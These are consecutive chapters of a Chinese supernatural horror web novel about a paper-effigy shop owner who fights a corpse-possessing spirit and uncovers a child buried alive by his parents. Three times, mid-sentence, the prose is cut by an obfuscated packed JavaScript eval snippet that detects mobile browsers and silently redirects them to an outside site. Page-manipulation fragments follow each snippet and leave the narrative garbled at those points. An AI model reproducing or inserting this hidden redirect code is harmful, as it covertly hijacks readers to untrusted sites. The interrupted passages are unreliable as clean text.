尤黎的速度快如疾风,但越是接近目标,那林中窥探者的身影反而愈发模糊。起初还能看到一个佝偻的人形轮廓,但追出不到十丈,那身影便如同滴入水中的墨汁,在浓重的夜色里迅速晕染。 当尤黎抵达那双眼睛最后出现的位置时,眼前只剩下盘根错节的枯树和随风摇曳的荒草,仿佛那阴毒的目光和佝偻的身影,都是她的幻觉。 但是尤黎知道,她绝对不可能看错。 荒林寂静无声,连虫鸣都彻底消失了。方才的窥视感也如同潮水般退去,无影无踪。是一直在暗中监视他们,还是因为孤坟所惊动。她无法判断。 犹豫片刻,尤黎果断放弃了深入追击的念头,开始沿着来路往回走。 这一次,她并不着急。脚步慢悠悠地拖着,靴底碾过枯枝败叶,发出清脆的声响。她甚至还有闲心观察两旁那些形态扭曲的枯树,仿佛在辨认它们的种类。不过七八分钟的路程,她足足磨蹭了半个多小时。 当她终于慢悠悠地踱回那处荒坟时,远远地就听见钟熠变了调的哀嚎: “大师,啊啊啊啊它要爬到我身上了,你特么别靠近我救命啊啊啊啊——” 尤黎脚步未停,目光淡淡地投了过去。 只见钟熠被发丝紧紧捆在冰冷的墓碑上,动弹不得。而鬼手,正顽强地地在发丝的束缚下挣扎蠕动,顽强地支棱起几根皮肉模糊的手指,以一种令人毛骨悚然的缓慢速度,坚定不移地朝着钟熠爬去。 尤黎依旧不紧不慢,对钟熠的呼救充耳不闻,她径直走到坟边,在距离钟熠几步远的地方,随意地蹲了下来。 双手抱膝,下巴搁在膝盖上,尤黎就那么安安静静地地看着钟熠在鬼手的逼近下玩命挣扎扭动。 直到欣赏够了,尤黎才懒洋洋地站起身,晃到钟熠面前。她双手环抱胸前,微微歪着头,居高临下地俯视着钟熠,没有丝毫温度。 “这是惩罚,”尤黎的声音平淡无波。 钟熠被迫仰着脸,脖颈被发丝勒得青筋暴起,为了躲避那几乎要贴上自己的鬼手,他身体拼命后仰,紧贴着冰冷的石碑,喉咙里只能发出抽气声,眼神里充满了不解。 “你,”尤黎的指尖隔空点了点钟熠,又指了指那只还在锲而不舍向上攀爬的鬼手,“没拉住它。” 随着话音落下,尤黎五指在虚空中握拳,发丝如收到指令般瞬间收紧,将鬼手勒得动弹不得,同时也将钟熠身上勒出血痕。 钟熠痛得眼前发黑,窒息感汹涌而来。 尤黎却仿佛没看到他的痛苦,伸出一只微凉的手,一下一下有节奏地轻拍着钟熠点侧脸。 她叹息般开口,声音里带着一丝不易察觉的烦躁:“铺子里的尸体肯定没了。” 那具尸体是验证猜测的关键,她让钟熠搬回来,放在杂货间棺材里的。原本计划着今夜捉到这只鬼手就立刻回去,时间短,距离也不远,按理说应该万无一失。 可现在呢?他们被这鬼手莫名其妙拖到了这荒山野岭,天边都泛起了鱼肚白,时间和距离一样都没捞回来。 更糟糕的是,就在她踏入这片荒山的第一步,她就清晰地感觉到守在她铺子门口的那对金童玉女,与她之间微妙的感应,断开了。 这意味着铺子那边,肯定出事了。那具尸体,十有八九已经不翼而飞,甚至可能,已经化为了新的麻烦。 尤黎拍打钟熠脸颊的手停了下来,冰冷的指尖停留在他的下颌。 “你是故意的吗?”她的声音压得更低,目光不善,“我真是越来越怀疑你了。” 她的长相极具欺骗性,圆脸杏眼,天生带着几分亲和与稚气。但这副皮囊下包裹的灵魂,却冷硬如铁,手段更是狠辣果决。此刻,这种极致的反差在她身上达到了顶峰。 钟熠脖颈间的伤口在发丝的紧勒下,再次渗出暗红的血珠。那些从伤口蔓延出的、淡淡的青灰色尸斑,已经悄然爬上了他的肩膀。发丝忠实地执行着主人的意志,越收越紧,尖锐的疼痛和强烈的窒息感疯狂冲击着钟熠的大脑。他嘴唇无力地张合着,像一条离水的鱼,却发不出任何声音。 尤黎的目光凉凉地扫过他脖颈上那触目惊心的伤口和肆意攀爬的尸斑:“如果你是真的别有用心,那你对自己下手,还真是够狠的。”她的指尖轻轻拂过伤口,“这蛊毒,可是货真价实的。” 货真价实到,连魂魄都能一并侵蚀。 “啧。”尤黎失去了继续审问的兴趣。她收回拍打钟熠脸颊的手,转而一把掐住他因窒息而无力歪倒的头颅,强迫他与自己对视。 “忘了刚才发生的一切。”她嗓音冷淡,漆黑的眼瞳深处,骤然闪过两点妖异的红光。 与此同时,她食指对着缠绕在钟熠脖颈上的发丝轻轻一勾。 钟熠在对上尤黎眼睛的那一刻,眼神便涣散了,接着就昏睡过去。 她面无表情地抬头望了一眼天边那抹越来越亮的鱼肚白,默默拖着两只狗往回走。 走到一半,尤黎将所有的事情串联起来,总觉得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16118523|180029||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还差点什么,一个应该出现在钟悯的生活里,但是从始至终除了钟悯无人知晓的人。 重新回钟宅看看。 自从那天之后,她就用八卦阵封了钟宅,一直到现在也没有异动,或许还有什么被她遗漏的东西。 打定了主意,尤黎拖着一人一手转道往城北去了。 钟家和她预料的一样,没有什么变化,阵法很好地维持住了它的腐朽,从外面看起来,也只会觉得有些过于老旧。 钟家大门是双开的,尤黎一边拴一个,自个儿插着兜进了宅子,直奔钟悯生前住的房间而去。 “为我解惑,我想要找的东西,在哪儿。”尤黎取下腰间的罗盘,看似随意地拨动了几个方位。 古朴的罗盘震动起来,发出嗡鸣声,指针咔哒咔哒疯狂旋转,最后指向靠在墙角的一副风景画。 尤黎收起罗盘,走了过去。 指尖触及画布,抹下一层薄灰,只是一副普通的山水画。 青山竹林,笔调清淡,看位置应该不是在永福县,除此之外看不出什么特别的。 难道是说线索在这副画的位置吗? 尤黎左瞅瞅右看看,既也没发现落款,也没找到题字,她捏起画,想要将画翻个面。 这画用的是宣纸,尤黎挺喜欢它的触感,手指不经意摩挲了一下。 指尖传来异样的触感,厚度不对。 尤黎眸光闪动,沿着画布边缘,小心划开一道口子。 一声轻响,在寂静的房间里格外清晰。 一张褪色发黄的黑白老照片,如同被尘封的秘密终于重见天日,从那道口子里无声地滑落出来,飘飘荡荡,落在尤黎摊开的掌心。 照片上是一家四口的全家福。 尤黎很快在照片里找到了钟悯的脸,穿着一身旧式的学生装,当时的钟悯应该才十三四岁,看起来很青涩,在他身旁,还有个身量长于他的女孩,两人拉着手站在中间,女孩眉眼温婉,对着镜头笑得明媚。两侧站着一对中年男女,男人面容严肃,女人神情端庄,也都带着符合场合的笑容。 钟悯也在笑,可他的视线却是偏转向身侧的空地,仿佛那里有什么东西牢牢吸住了他的心神。 他站得更靠女孩一些,和另一边的女人拉开了个微妙的距离。 这个距离,正好能站下一个人。是谁?是其他的兄弟姐妹吗? 联想在荒林那会,尤黎就掐算过钟悯的八字,却无法推算出任何东西。 仿佛有人隐去了他的命运。 尤黎入神地思考着,目光汇聚在钟悯视线投向的空地,纤细的手指随着思考有节奏地敲击着照片。 熟悉的窥视感猛地袭来。 尤黎没有轻举妄动,她用余光扫视周围,最后视线落回照片。 照片里,钟悯的脸不知道什么时候正对镜头,侧着的视线也转了过来,冰冷死寂。 他在看照片外的人。 他在,看自己。 8. 借寿(七) 尤黎面无表情地回视着照片里少年钟悯那的诡异目光。 然后,凝固的照片仿佛被一只无形的手搅动。 被定格笑容的姐姐、父亲、母亲,他们的头颅极其缓慢地开始转动,几双空洞的眼睛,费了好一番功夫,才终于克服了那漫长岁月带来的滞涩感,齐刷刷地、幽幽地聚焦在了照片之外的尤黎的脸上。 钟悯的房间本就处于二楼最深处,阴凉潮湿。此刻,四道来自泛黄相纸内的冰冷视线,如有实质,刺穿了时空。尤黎周围的温度骤降,裸露的皮肤激起一片细小的疙瘩。那不是自然的凉意,而是阴魂怨念凝聚的森然死气。 “啧。”尤黎没有丝毫犹豫,反手从破布包里掏出剩下的一沓惨白纸钱。她又快又稳,精准地将纸钱覆盖在照片之上,严严实实。令人头皮发麻的注视感瞬间被隔绝,房间内几乎凝结的空气也重新开始流动,温度缓缓回升。 尤黎捏着被纸钱包裹的照片,指尖传来一丝若有似无的阴冷残留。她只觉得一阵无语。 这一家子人就没一个正常的吗?自己到底接了个什么烫手山芋?灵异世家?她翻了个白眼,将纸钱裹紧的诡异照片粗暴地揉成一团,塞进布包深处,转身快步离开了这座散发着不祥气息的钟宅。 大门口,钟熠和那只被发丝捆缚的鬼手,一左一右瘫在门槛边,活像两尊镇门石兽,散发着一股凄凉的气息。 尤黎无奈地叹了口气,她当然不能真让这俩货守在这里吓唬路人。重新加固了门上的法阵后,她一手拽起昏昏沉沉的钟熠,一手扯动发丝拖着那死沉的鬼手,在朦胧的晨光中,一路艰难地拖回了福荫堂。 回到福荫堂,门口的景象不出预料。原本侍立在门侧的那对金童玉女纸人,此刻踪影全无,只余下满地形状不规则的彩色纸片散落一地。铺子里更是反常地寂静,连那些平日总在阴暗角落窸窣作响的蛇虫鼠蚁,此刻都噤若寒蝉,缩在缝隙里瑟瑟发抖。 尤黎收回捆住钟熠的发丝,将他安置在角落的竹椅上,自己则径直走向存放棺材的杂货间,那口曾禁锢鬼尸的棺材,棺盖已被掀开,斜斜地搭在一边。棺材边缘赫然印着两个黢黑的掌印,凑近细闻,能闻到令人作呕的腐臭味道。 尤黎眼神冰冷,她盯着那手印看了片刻,没有立刻处理棺材,良久,走到杂货间最里侧的墙角。 她的手在布满灰尘的粗糙墙面上摸索着,指腹感受着砖缝间细微的凹凸变化。几息之后,一块墙面无声地向内凹陷,一扇仅容一人通过的暗门突兀地显现出来。 她将门推开一条缝隙,拖着鬼手,闪身钻了进去。门后并非密室,而是一片拥挤的坟场,一个个黄土堆砌的坟包高高耸起,紧密地挨挤着。偶尔,某个坟包深处传来一阵沉闷的蠕动或指甲刮擦土壁的沙沙声,便有细碎的黄土簌簌落下。 在这片坟场外围,密密麻麻、层层叠叠地伫立着数不清的纸人。它们形态各异,有和门口模样无二的金童玉女,也有披着大红嫁衣的,有装扮成拄拐老翁的,并且,它们惨白的脸上,都只点了一只眼睛。无数只空洞的单眼在坟场的幽暗中无声地凝视着闯入者。 尤黎熟门熟路地从纸人群中挑出一对与门口被毁那对相似的金童玉女,末了,又拎起一个佝偻着腰、脸上皱纹刻画得极其深刻的纸人老太婆。 抱着三个纸人回到杂货间,她快步回到自己房间。房门窗棂角落悬挂的几根红隐线完好无损。她稍稍安心,走到窗边那个掉漆的老式梳妆台前,拉开抽屉,取出一支竹制眉笔和红木制的小木匣。 回到杂货间,把鬼手放进木匣后,尤黎拿起眉笔,分别在三个纸人空白的那只眼睛上,稳稳地点了下去。 “描眉点睛,魂来魄生,速归!” 随着她低沉的敕令,三个纸人猛地一颤,关节连接处发出咔吱咔吱的摩擦声。 它们原本空洞的眼睛骤然亮起两点幽深的光芒,眼珠在眼眶里咕噜噜地转动起来,诡异地打量着四周,身上原本陈旧泛黄的色彩,此刻竟如同被画笔重新描摹,变得鲜艳刺目,在昏暗的杂货间里散发出妖异的气息。 金童玉女僵硬地扭了扭脖子,牵起彼此冰冷僵硬的手,脚尖点地,无声无息地飘向铺子门口,自动填补了之前的空缺。 尤黎伸手拦住了也想跟出去的老太婆纸人,指向墙角那个装着鬼手的木匣子,声音沉稳:“您帮我看住它。” 纸人老太婆干瘪如枯树皮的嘴角勾起,浑浊的眼珠转向木匣,然后,它无声地点了点头,佝偻的身影融入了角落的阴影里。 ...... 清明节到了。福荫堂的生意也随之忙碌起来。最初还能靠钟熠这个临时伙计勉强应付,但随着祭扫高峰期临近,尤黎也不得不时常从里间出来帮忙。 狗蛋恐怖的红眼会吓到客人,被尤黎无情地关进了笼子,挂在后堂。至于纸人,如果让它们出来招待活人,只怕城外那片墓园里,很快就会多添几座新坟。 爷爷的话言犹在耳,沉甸甸地压在尤黎心头:“活人不能由死人来服务。” 爷爷还在时,常告诫她,他们这一行,看似能呼鬼御尸、通精出马,威风八面,实则是在刀尖上跳舞,每一步都在耗损自身功德,增添无边的业孽。 驱使亡魂,它们生前的业债便会缠绕上你。出马请仙,得了供奉钱财,却损了自身福缘命数。世间哪有只赚不赔的买卖? 能在这条道上长久走下去的,要么是祖上积攒了泼天的阴德福报,足以荫庇后人,要么是自身命格极硬,或天生属阴,能扛住反噬,再或者,就是道行修为已臻化境,足以逆转阴阳,镇压孽力。 尤黎曾问过爷爷,他属于哪一种。爷爷只淡淡地说:“我嘛,八字够硬,修炼也还凑合。” 她又追问,那我呢?爷爷沉默了许久,昏黄的灯光在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16118524|180029||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他脸上投下深深的阴影,最终只留下一个讳莫如深的答案:“你,以后会知道的。” “小黎,老样子。” 一声呼唤将尤黎从沉重的回忆里拽了出来。她抬头,看到隔壁小卖铺的张大爷正站在柜台前,脸上挂着和蔼的笑容。 铺子里客人太多,尤黎便让那些不那么急的单子做了登记,由钟熠骑着那辆叮当作响的旧三轮挨家挨户送去。这会儿,钟熠应该快送完最后一趟了。 尤黎脸上立刻堆起一个乖巧又甜美的笑容。张大爷和爷爷是老交情,对她也很是照顾,隔三差五就来买些纸钱元宝烧给早逝的老伴,是福荫堂的常客,于情于理都得给个好脸色。 “哎,张大爷您稍等。”她利落地扯下一个鲜红色的塑料袋,转身走向货架。手指熟练地捻起几沓厚厚的、印着天地银行的纸币和黄纸钱,又抓了一大把叠得精巧的金元宝塞进袋子里。 “您看看,还缺不缺什么?我给您拿。”尤黎把沉甸甸的袋子递过去,杏眼弯弯。 张大爷接过袋子,掂量了一下,笑呵呵地说:“你这小妮子做事,我还不放心吗?就是啊...” 他顿了顿,脸上露出一丝踌躇,搓了搓粗糙的手指。 尤黎顺着他的话,带着恰到好处的关切:“就是什么?您尽管说。” 张大爷凑近了些,压低了声音,全然是老年人特有的固执和神秘:“我想,给我爱人买几个纸人,烧过去伺候伺候她。” “纸人?”尤黎了然,指了指门口新换上那对鲜艳的金童玉女,“这边门口都有现成的,除了那对金童玉女是看门的不能动,您随便挑几个,算我送您的。” 她说着,从旁边抱过来几个穿着各色衣裳的男女纸人,“您瞧瞧这个丫鬟模样的?或者这个小孩?都挺精神的。” 张大爷连连摆手,浑浊的老眼里闪过一丝不易察觉的异样光芒:“不不,小黎,我听说,得要刚做的才好。那些放久了的,听说容易生出神智,不听话,伺候不好人。” “刚做的?”尤黎脸上的笑容淡了一分,不动声色地回问。 “对啊!”脸上堆着笑,甚至带着点恳求,“小黎,我知道你家那些真正‘好使’的纸人,都是在铺子后头那间专门的屋子里做的。带大爷进去挑挑,成不成?就挑两个最鲜亮、最听话的!” 尤黎脸上的笑容依旧挂着,忽然微微皱了皱鼻子,仿佛嗅到了什么难闻的气味,眼神瞬间变得锐利如刀,直直刺向眼前这张熟悉又透着古怪的脸。 “你闻到了吗?”她的声音很轻,语调平常。 对面张大爷脸上那和蔼的笑容僵住了,眼底飞快地闪过一丝茫然和惊疑:“什么?” 尤黎缓缓咧开嘴,露出两排森森白牙,笑容甜美依旧,却带着一种令人骨髓发寒的诡异。 “好臭啊。”她身体微微前倾,一字一顿道,“死人的味道。” 9. 借寿(八) 尤黎那句“死人的味道”又轻又细,却狠狠刺入对方耳膜。 张大爷脸上那层和蔼慈祥的面具顷刻间崩裂,皮肤下的肌肉疯狂蠕动扭曲,布满岁月沟壑的脸庞仿佛融化的蜡像,五官在剧烈的痉挛中错位变形,好像有什么东西正拼命要从这具皮囊下挣脱出来。 尤黎抓住时机,五指闪出,精准无比地抓住对方那层疯狂蠕动到几乎要爆开的脸皮,猛地向外一撕。 令人头皮发麻的撕裂声响起。那并非真正的皮肤,而是一层带着黏滑,散发着浓郁尸液腥臭的黏膜状物质。被硬生生扯下后,露出的赫然是失踪数日的钟悯的脸,尸斑密布,皮肤呈现出青灰腐败的色泽,多处溃烂,几乎难以辨认出之前的模样。 浑浊无光的眼球骤然收缩成针尖大小,面前人用极其怨毒的目光死死盯住尤黎,喉咙剧烈地鼓动,发出沙哑刺耳的嘶嘶响动。 尤黎没有丝毫犹豫,右手在虚空一抓,搬空中离开爆开一团浓烈的煞气,通体漆黑的修罗刀凭空显现,被她牢牢抓在手中。 刀锋嗡鸣,尤黎手腕一翻,挟着劈山断岳之势就要当头斩下。 就在这雷霆万钧的一瞬,一个尖细阴冷的声音钻入尤黎的耳中: “你,居然是你。” 这声音带着一种难以置信的惊愕,和一丝难以言喻的熟悉感。 尤黎心神微动,劈砍的动作出现了极其短暂的的凝滞。 然而,这一刹那的愣神,足以对方反扑。 浓密的漆黑雾气,如决堤的洪水,轰然从“钟悯”的七窍和周身毛孔中喷涌而出,瞬间吞噬了整个福荫堂前堂。 鬼囿。更恐怖、更凝实的鬼囿。 这绝非钟家祠堂那次可比,尤黎能清晰地感知到,一股庞大而充满无尽恶意的意志正盘踞在钟悯的尸体深处,他冰冷地注视着囿中的一切。 每一寸空气都粘稠腐臭,在呼吸间灌满了令人作呕的腐烂气息。货架上那些普通的纸钱、元宝、纸扎,以肉眼可见的速度迅速腐朽,而后化为飞灰。 “钟悯”的身影在翻腾的黑雾中来回穿梭,时隐时现。每一次出现都带起刺骨的阴风和令人作呕的腥气,枯爪般的残手一次次从刁钻的角度袭向尤黎的要害。 尤黎将修罗刀舞成一团漆黑的屏障,叮叮当当的金铁交鸣声在黑雾中急促爆响,火星四溅。她心里很清楚,面对这种等级的鬼囿,像上次一样用血符破界是不可能的,即使是瞬间的凝神画符,也足够对面的东西将自己杀死十次。 激战中,奇异的冰凉感陡然从胸前传来。 尤黎眼中精光一闪,在格挡开又一次致命的攻击后,趁势脚下步伐急变,精准地一个闪身,退到了门口那对金童玉女纸人的身后。 这对从坟场唤来的纸人,虽然无法在鬼囿中主动找到尤黎,但只要尤黎靠近,它们便能感应。 得到尤黎意念的驱动,金童那纸糊的身体瞬间如同充气般无限拉长膨胀,化作一面巨大的、色彩鲜艳的盾牌,将尤黎严严实实地护在身后。而玉女则嘻嘻笑着,惨白的身影融入黑雾,主动迎向不断闪现的“钟悯”,纸手翻飞,掀起道道阴风,逼得那东西一时无法近身。 借着这空档,尤黎低头看向胸前,用红绳系着,自己贴身佩戴的尸骨花,散发着微弱的幽光。影影绰绰的光芒在苍白的小巧骨头上流转、交织,隐约勾勒出一个扭曲的字,光影闪烁不定,更增加了辨识的难度。 尤黎紧盯着那变幻的光影,眉头紧锁。几息之后,她果断放弃了辨认,迅速解开绳扣,将触手冰凉,带着生命律动的尸骨花紧紧攥在手心。 用?还是不用? 爷爷临终前的话再次在耳边回响,此物能御万鬼,然其价,非你能料。一块骨头就能号令亡魂,那它索取的代价,又会是何等的恐怖。 没有人知道驱使尸骨花真正的代价,因为它上一次现世的资料,早已被悉数抹去。 “啊啊啊!大师,怎么回事啊,天怎么黑了!” 铺子门口,突然传来钟熠那熟悉的喊叫,他竟然闯进了鬼囿。 尤黎还没来得及细想钟熠是如何突破鬼囿屏障的,在玉女纠缠下稍显迟滞的“钟悯”,瞬间捕捉到了自己心心念念的猎物。黑雾涌动间,他的身影瞬移出现在钟熠身前,仅剩的右手无声无息却又快如闪电地抓向钟熠面门。 然而血肉横飞的血腥场面并未出现。 一层淡淡的、近乎透明的青色烟尘,毫无征兆地从钟熠的身体内部弥漫开来。这青烟看似缥缈柔和,却带着一种难以言喻的妖异气息。它缓慢而无比坚定地蔓延开来,所过之处,浓稠如墨的黑雾迅速消融退散。 更可怕的是,当青烟触及“钟悯”身体时, 一圈淡青色的火焰凭空燃起,如同跗骨之蛆般,宽度蔓延至“钟悯”的全身。 凄厉非人的惨嚎从“钟悯”燃烧的喉咙里挤出,腐朽的尸体在淡青火焰中剧烈挣扎,散发出浓烈的焦臭和黑烟。 尤黎的杏眼危险地眯起,戏谑的笑从眼底蔓延至嘴角:“终于舍得从他身体里出来了?” 鬼囿在青烟的净化下迅速崩溃消散,铺子内的景象重新清晰。货架上被腐化的物品无法复原,但空间已然清明。 而此刻的钟熠—— 他半长的黑发在几个呼吸间疯长至及腰的白发,一双妖异的绿眸在逐渐清朗的光线下闪动着诡异的光芒。他似笑非笑,神情睥睨。 “你故意不救他。”白发绿眸的钟熠开口了,声音低沉悦耳,却带着一种非人的冰冷感。 尤黎脸上的笑容更加灿烂,有着一种洞悉一切的狡黠,话说得含糊:“自己要闯进来的,敢进来,就别怕死。既然怕死,就别怕暴露。” 她重新将尸骨花系回颈间,歪着头,饶有兴致地打量着眼前判若两人的存在,“你一直在他体内?为了什么?” 纤细的手指轻轻点了点自己的胸口,目光锐利如刀,尤黎问,“为了我?” 顿了顿,她指尖又捻起坠在胸前的尸骨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16118525|180029||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 花,玩味地继续追问:“还是为了它?” 地上,“钟悯”的尸体已被那诡异的青焰烧得焦黑,再无半点邪气。 弥漫在空气中的最后几缕青烟,游蛇般丝丝缕缕地飘回白发绿眸男子的身上,悄无声息地没入他体内,仿佛从未出现过。 尤黎意识到那人接下来的动作,眯起眼,语气带着毫不掩饰的嘲讽:“准备缩回去当你的缩头乌龟了?” 话音未落,白发男子脸上妖异邪魅的神情瞬间褪去。眼中的翠绿火焰熄灭,瞳孔恢复成普通的深褐色,一头及腰银发也变回原本的黑色短发。 钟熠的身体晃了晃,眼神茫然空洞,如同断了线的木偶,直挺挺地向后倒去,噗通一声摔在地上,人事不省。 尤黎瞥了一眼地上不省人事的钟熠,没有丝毫同情,直接拽着他的脚踝,像拖麻袋一样把他拖到铺子里面相对安全的角落,随手一扔,就不再理会。 她转身蹲在钟悯那具焦黑蜷缩的尸体旁,指尖凝聚一丝微不可查的灵力,小心翼翼地探查着焦骨的状况,同时对门口重新站好的金童玉女吩咐道:“去,把那只死鸟给我拎过来。” 纸人无声领命。很快,睡得正香、把自己缩成一个黑色毛球的狗蛋被提溜了过来。 尤黎打开笼门,毫不客气地把狗蛋像倒垃圾一样倒了出来。狗蛋被摔得七荤八素,刚想炸毛抗议,就对上了尤黎那毫无温度的杏眼,瞬间蔫了,把骂骂咧咧的“嘎”声硬生生咽了回去。 尤黎扒拉开地上钟熠松弛的眼皮,露出涣散无神的瞳孔,然后指着那具焦黑的尸骸,对狗蛋命令道:“快点,我要看他的记忆。” 狗蛋敢怒不敢言,怒不敢言,真不敢言,老老实实吱呀叫了声算是回答。 扑扇着翅膀,跳到那具散发着焦臭的尸骸上,小小的身躯竟然有种悲壮的仪式感。 它那双腥红的豆豆眼里闪过一丝幽光,尖锐的鸟喙对准钟悯焦黑头颅上那空洞涣散的眼珠,狠狠地啄了下去。 一股奇异而浓郁的彼岸花香毫无征兆地弥漫开来,立刻淹没了福荫堂内所有的气味。同时,耳边响起了潺潺的流水声。尤黎感觉自己的意识如同被无形的潮水托起,脱离躯壳,飘向一个光怪陆离的梦境深渊。 “小悯,过来,吃饭了。”一个穿着旗袍的女人温柔一笑,招呼着满屋子倒腾的少年。 女人身边的女孩却撇撇嘴,顽皮地做了个鬼脸:“你再不过来,我就一个人把菜吃光咯!” 门口,传来男人故作烦恼的抱怨:“你听听,我们家钟悯吃个饭都要人三请四请的,不说了,我回去抓他吃饭。” 听到男人的抱怨,少年总算转过脸,嘴翘得老高:“你们把钟杜藏哪儿了?” 听见这话,不止女人和女孩,连刚进门的男人,脸色也怪异起来。 尤黎也意识到一个问题,她所见的视角,并不是来自钟悯,而是另一个人。 是藏在钟悯体内的那个人,或许,也是杀了钟悯的那个人。 10. 借寿(九) 少年钟悯对家人诡异目光的探究恍若未察。他固执地在餐桌周围、沙发底下、甚至窗帘后面寻找着,嘴里不停地、执拗地念叨着那个名字:“钟杜?钟杜呢?你们看见钟杜了吗?” 死寂,如同冰冷的潮水,在餐桌上蔓延。几分钟的僵硬沉默后,立在门口的男人终于动了。他脸上挤出一个近乎完美的温和笑容,走上前,温柔却带着不容抗拒的力道,将钟悯按在餐椅上,将冰凉的筷子硬塞进他手里:“小悯,先吃饭。” 年少的钟悯异常倔强,梗着脖子:“找不到钟杜,我就不吃!” 一旁的女人脸色煞白,见状急忙打圆场,那笑容像是糊在脸上的劣质面具,勉强得快要碎裂:“小悯,这样好不好?你先好好吃饭,吃完跟姐姐回房间睡午觉。爸爸妈妈帮你找钟杜!一定把他找回来,好吗?” 钟悯这才不情不愿地拿起筷子,一边机械地往嘴里扒拉着饭菜,一边还不忘嘟囔,声音含糊却带着少年特有的认真:“你们不许再把钟杜丢掉了,他上次回来,哭了好久,说很伤心……” 坐在他对面的姐姐,筷子尖在几盘菜里无意识地划拉着,却几乎什么也没夹起来。她勉强吃了两三口,便像被噎住般猛地撂下筷子。她甚至等不及钟悯吃完,便站起身,近乎粗暴地将钟悯从椅子上拽起来,硬生生拖向房间,语气带着一种压抑的烦躁:“走了,睡觉!” 被拖走的钟悯扭过头,冲着母亲的方向,声音带着担忧:“妈妈!要快点把钟杜带回来!他怕黑的。” “哐当!” 房门被女孩用力关上,彻底隔绝了钟悯的声音和那萦绕不散的“钟杜”。 就在房门关紧的瞬间,餐桌上仅剩的钟悯的父母,脸上勉强维持的笑脸彻底崩塌。 女人脸上瞬间褪去所有血色,只剩下扭曲的恐惧和一种深入骨髓的怨恨,她的嘴唇神经质地哆嗦着。 男人猛地低下头,双手狠狠搓揉着自己的脸,指缝间露出的额头青筋暴起,牙齿咬得咯咯作响。 沉默重得令人窒息。 半晌,女人猛地抬起头,那双眼睛里没有丝毫温情,只剩下冰冷的决绝和疯狂,声音如同从牙缝里挤出来,带着淬毒的寒意:“把他带出去,丢得越远越好。永远别让他再找到路回来。” 男人搓脸的动作顿住,他没有抬头,只是从喉咙深处发出一声沉闷而压抑到极致的应和:“嗯。” 木质长凳腿划过地面,声音尖锐得如同指甲刮过玻璃,直直钻进尤黎的脑海深处。 他们起身了。 沉重的脚步声,一声声敲打在尤黎的心上。带着浓烈怨恨和恐惧的阴影,正一步步朝着角落尤黎藏身的这个位置,逼近。 在这个无法改变的过去里,尤黎只是一个被迫依附在钟杜感知上的看客。她无法动弹,无法发声,只能眼睁睁看着那两张因恐惧和憎恶而扭曲的脸庞越来越近,如同索命的恶鬼。 然后,她被一只冰冷、颤抖却异常有力的手,从角落那条粗粝的绿色麻袋里,狠狠地拽了出来。 女人眼中赤裸裸的怨恨,男人脸上因极度恐惧而暴起的青筋,这一切,尤黎都看得清清楚楚。 原来那个全家福照片上,钟悯目光所向的空缺位置,那个被反复寻找、又被反复丢弃的“钟杜”,就是此刻承载着她意识的存在。她正以“钟杜”的视角,亲历这场被至亲抛弃的绝境。 不要!不要! 不要丢掉我!求求你们! 不要——! 一股源自灵魂深处的绝望、恐惧和不甘,瞬间自“钟杜”的心底汹涌而出,化作滔天的情绪巨浪,疯狂地冲击着尤黎的意识堤防。 这并非她自己的情感,而是钟杜残留在记忆碎片中最强烈的执念。它如同无数冰冷的怨毒触手,试图将尤黎的意识彻底拖入这无边的怨恨深渊,让她成为新的“钟杜”。 尤黎心神剧震,识海中警铃大作。她猛地闭上双眼,强行切断视觉上那两张狰狞面孔带来的冲击,在心中疯狂默念爷爷传授的清心咒诀。 勿视勿听勿言,不染尘垢,不落执念。 每一个字都如同沉重的磐石,艰难地压下那翻腾的怨念浪潮。她必须守住灵台一点清明,绝不能沉沦。 直到确保神智没有被污染,尤黎再次睁开眼时,眼前的景象已然天翻地覆。 刺骨的冰凉和沉重的压迫感包裹着她。视线所及,是不断洒落的黄土,身体被无形的力量禁锢,无法动弹分毫,喉咙也像是被泥土堵死,发不出任何声音,只有“钟杜”那无声的、撕心裂肺的呐喊在意识深处疯狂回荡。 不要丢掉我!不要埋掉我! 活埋! 这熟悉的环境,正是永福县外那片荒凉的林地。也是她不久前挖出钟悯生辰八字木匣的地方。 原来,钟杜最终被丢弃的终点,就是这里。 冰冷的黄土无情地洒落在脸上、身上,渐渐遮蔽了光线,也堵塞了口鼻。尤黎能清晰地感受到那粗糙颗粒摩擦皮肤的触感,以及随之而来的令人窒息的绝望。饶是尤黎自认心肠冷硬,见惯生死,此刻也不禁感到一股彻骨的寒冷。 她知道世上有不称职的父母,比如她那对生下她就将她遗弃在道观门前的亲生父母。但像眼前这对,不知道因为什么而恐惧或憎恨,竟能亲手将活生生的孩子拖到荒郊野外活埋的父母,她真是闻所未闻。 